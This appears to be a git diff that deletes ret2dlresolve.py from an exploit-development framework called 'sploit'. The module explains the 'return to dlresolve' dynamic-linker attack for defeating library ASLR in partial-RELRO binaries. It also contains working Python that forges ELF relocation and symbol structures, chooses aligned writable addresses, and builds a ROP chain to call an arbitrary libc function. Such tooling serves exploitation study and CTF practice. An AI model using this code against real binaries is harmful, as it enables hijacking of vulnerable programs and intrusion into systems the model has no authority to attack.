diff options
Diffstat (limited to 'sploit/payload/ret2dlresolve.py')
-rw-r--r-- | sploit/payload/ret2dlresolve.py | 226 |
1 files changed, 0 insertions, 226 deletions
diff --git a/sploit/payload/ret2dlresolve.py b/sploit/payload/ret2dlresolve.py deleted file mode 100644 index 8862e22..0000000 --- a/sploit/payload/ret2dlresolve.py +++ /dev/null @@ -1,226 +0,0 @@ -""" -Perform "Return to dlresolve" dynamic linker attack - -The ret2dlresolve technique is useful to defeat library ASLR against targets -with partial relro (or less) and where no useable data leaks are available. -This is specifically a workaround for ASLR of libraries such as libc, and -addresses within the target executable are expected to be known (non-pic or -otherwise). - -When a dynamic library call is performed normally, applications jump to code -stubs in the .plt section to perform the actual relocation. This process relies -on a couple of meta-data structures in the ELF object: - -Elf*_Rel: Contains a pointer to the corresponding GOT entry, which is used to -cache the real subroutine address for later calls, as well as an info field -describing the relocation. This info field contains a type subfield and an -index into the ELF's symbol table for the symbol to be relocated. - -Elf*_Sym: Contains all the data relevant to the symbol. For the purposes of the -exploit, only the symbol name field is utilized (the others are set to zeroes). -The name field is an offset into the ELF's string table, and the actual symbol -name string can be found at this offset. - -All of the data tables mentioned above are located by their corresponding -section in the ELF. The relocation process however does not perform any bounds -checks to ensure the runtime data structures actually come from these sections. -By forging custom structures, and ensuring they can be written into memory at -precise locations, an attacker can trick the resolver to link any library -function they desire by setting up the equivalent PLT function call via ROP. - -Read on for more background details: -http://phrack.org/issues/58/4.html -https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62 - -Structure definitions from your standard elf.h header: - -typedef struct { - Elf32_Word st_name; /* 4b Symbol name (string tbl index) */ - Elf32_Addr st_value; /* 4b Symbol value */ - Elf32_Word st_size; /* 4b Symbol size */ - unsigned char st_info; /* 1b Symbol type and binding */ - unsigned char st_other; /* 1b Symbol visibility */ - Elf32_Section st_shndx; /* 2b Section index */ -} Elf32_Sym; - -typedef struct { - Elf64_Word st_name; /* 4b Symbol name (string tbl index) */ - unsigned char st_info; /* 1b Symbol type and binding */ - unsigned char st_other; /* 1b Symbol visibility */ - Elf64_Section st_shndx; /* 2b Section index */ - Elf64_Addr st_value; /* 8b Symbol value */ - Elf64_Xword st_size; /* 8b Symbol size */ -} Elf64_Sym; - -typedef struct { - Elf32_Addr r_offset; /* 4b Address */ - Elf32_Word r_info; /* 4b Relocation type and symbol index */ -} Elf32_Rel; - -typedef struct { - Elf64_Addr r_offset; /* 8b Address */ - Elf64_Xword r_info; /* 8b Relocation type and symbol index */ -} Elf64_Rel; - -Elf32_Rel.r_info = 0xAAAAAABB - | | - | type - symidx - -Elf64_Rel.r_info = 0xAAAAAAAABBBBBBBB - | | - symidx type -""" - -from sploit.arch import arch, itob -from sploit.payload.gadhint import GadHint -from sploit.payload.payload import Payload -from sploit.payload.payload_entry import padalign, padlen, pointer -from sploit.payload.rop import ROP -from sploit.rev.r2 import run_cmd - -_JMP_SLOT = 0x07 - -def _symsize(): - # Size of Elf*_Sym, used for padding and indexing - if arch.wordsize == 4: return 16 - elif arch.wordsize == 8: return 24 - raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") - -def _relsize(): - # Size of Elf*_Rel, used only for indexing on 64bit (32bit uses offset) - if arch.wordsize == 4: return 1 - elif arch.wordsize == 8: return 24 - raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") - -def _infoshift(): - # Partition subfields of Elf*_Rel.r_info - if arch.wordsize == 4: return 8 - elif arch.wordsize == 8: return 32 - raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") - -class Ret2dlresolve(ROP): - # Use constructor from ROP class - - def reloc(self, symbol_name): - """ - Generate relocation structures for the function with given symbol name. - - The returned data structures are packed into a single Payload object. - This payload must be written into the target's memory before attempting - to use it with Ret2dlresolve.call(). Furthermore, the chosen write - location must be assigned to the payload base property, so that internal - pointers may take on the appropriate values. - - See Ret2dlresolve.determine_address() for advice on choosing a write - location. - - symbol_name (str): Name of library function to link - """ - binary = self.objects[0] - symtab = binary.sym.sect['.dynsym'] - strtab = binary.sym.sect['.dynstr'] - - try: - jmprel = binary.sym.sect['.rel.plt'] - except KeyError: - jmprel = binary.sym.sect['.rela.plt'] - - # Elf*_Rel.r_info - info = lambda x: ((int(x - symtab) // _symsize()) << _infoshift()) | _JMP_SLOT - - # The sym structure is the most picky about its location in memory. So - # it is listed first in the main dlres struct, which can be placed at - # the desired location. - sym = Payload() - sym.name = pointer("symbol_string", lambda x: x - strtab) - sym.pad = padlen(_symsize(), b"\x00") - sym.symbol_string = symbol_name - - dlres = Payload() - dlres.symalign = padalign(_symsize(), reference=symtab) - dlres.sym = sym - dlres.relalign = padalign(_relsize(), reference=jmprel) - dlres.offset = pointer() - dlres.info = pointer("sym", info) - return dlres - - def determine_address(self, start=None, end=None, n=0): - """ - Determine recommended address for relocation structures. - - There are a couple considerations to make when determining the memory - locations. First of all, the location must be writable. More - importantly, since most items are referred to by an array index, the - structures themselves must be properly aligned, reference to the array - origins. - - The payload returned from Ret2dlresolve.reloc() has some of these - alignments built in, but one crucial one is not. The index implied by - Elf*_Sym's offset from the symtab base is the same index used to lookup - symbol version information, reference to versym. The data at this index - must constitute a valid version half-word (16-bits). This function - attempts to ensure that the coincident version info for any returned - value is the data \x00\x00. Getting this wrong can cause the dlresolve - routine to crash. - - start (int): Minimum address to recommend (default: .bss section address) - end (int): Maximum address to recommend (default: end of memory page) - n (int): Return the Nth useable address within the defined range - """ - binary = self.objects[0] - symtab = binary.sym.sect['.dynsym'] - versym = binary.sym.sect['.gnu.version'] - bss = binary.sym.sect['.bss'] - - if start is None: start = bss - if end is None: end = (start & ~0xfff) + 0x1000 - - zero_words = run_cmd(binary.path, "/x 0000") - zero_words = [ int(x.split(" ")[0], 0) for x in zero_words ] - - # Size of version entry is always 2 bytes. - veroff = [ x - versym for x in zero_words ] - idx = [ x//2 for x in veroff if x%2 == 0 ] - symoff = [ x * _symsize() for x in idx ] - addr = [ x + symtab for x in symoff ] - addr = [ x for x in addr if start <= x < end ] - - if len(addr) > n: - return addr[n] - - raise AssertionError("Ret2dlresolve: No suitable memory location") - - # Overrides ROP.call() - def call(self, reloc, *params): - """ - Return a ROP payload to call function via dynamic linker. - - reloc's base address must be set appropriately. - - reloc (Payload): Relocation payload obtained from Ret2dlresolve.reloc() - *params (int): Remaining positional args are passed to function. - """ - binary = self.objects[0] - plt = binary.sym.sect['.plt'] - - try: - jmprel = binary.sym.sect['.rel.plt'] - except KeyError: - jmprel = binary.sym.sect['.rela.plt'] - - register_params = dict(zip(arch.funcargs, params)) - stack_params = params[len(register_params):] - index = int(reloc.offset - jmprel) // _relsize() - - reqs = GadHint(requirements=register_params) - call = GadHint(index, stack=stack_params) - ret = GadHint(self.search_gadget(arch.ret)) - - chain = Payload() - try: chain.requirements = self.gadget(reqs).requirements - except KeyError: pass - chain.alignment = padalign(0, itob(ret)) - chain.plt = plt - chain.call = self.gadget(call) - return chain |